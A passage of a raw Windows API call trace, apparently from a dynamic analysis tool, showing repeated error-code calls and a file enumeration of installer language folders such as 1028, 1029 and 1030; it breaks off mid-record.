GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.049] SetLastError (dwErrCode=0x0) [0043.049] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.050] SetLastError (dwErrCode=0x0) [0043.050] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.052] SetLastError (dwErrCode=0x0) [0043.052] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.053] GetLastError () returned 0x0 [0043.053] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.054] GetLastError () returned 0x0 [0043.054] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.055] SetLastError (dwErrCode=0x0) [0043.055] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.056] GetLastError () returned 0x0 [0043.056] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.057] GetLastError () returned 0x0 [0043.057] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.058] GetLastError () returned 0x0 [0043.058] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.059] SetLastError (dwErrCode=0x0) [0043.059] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.060] GetLastError () returned 0x0 [0043.060] SetLastError (dwErrCode=0x0) [0043.061] GetLastError () returned 0x0 [0043.061] SetLastError (dwErrCode=0x0) [0043.061] GetLastError () returned 0x0 [0043.061] SetLastError (dwErrCode=0x0) [0043.061] GetLastError () returned 0x0 [0043.061] SetLastError (dwErrCode=0x0) [0044.120] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.120] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.120] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.120] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.120] SetEvent (hEvent=0x2d0) returned 1 [0044.120] ResetEvent (hEvent=0x2d4) returned 1 [0044.120] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.120] FindClose (in: hFindFile=0x10c8e50 | out: hFindFile=0x10c8e50) returned 1 [0044.134] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.134] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1 [0044.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e50 [0044.135] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.135] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.135] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.136] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.136] SetEvent (hEvent=0x2d0) returned 1 [0044.136] ResetEvent (hEvent=0x2d4) returned 1 [0044.136] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.136] FindClose (in: hFindFile=0x10c8e50 | out: hFindFile=0x10c8e50) returned 1 [0044.136] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.136] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1 [0044.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e50 [0044.138] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.138] SetEvent (hEvent=0x2d0) returned 1 [0044.138] ResetEvent (hEvent=0x2d4) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.138] FindClose (in: hFindFile=0x10c8e50 | out: hFindFile=0x10c8e50) returned 1 [0044.138] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1 [0044.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc8d0 [0044.144] FindNextFileW (in: hFindFile=0x10dc8d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.144] FindNextFileW (in: hFindFile=0x10dc8d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.144] FindNextFileW (in: hFindFile=0x10dc8d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, 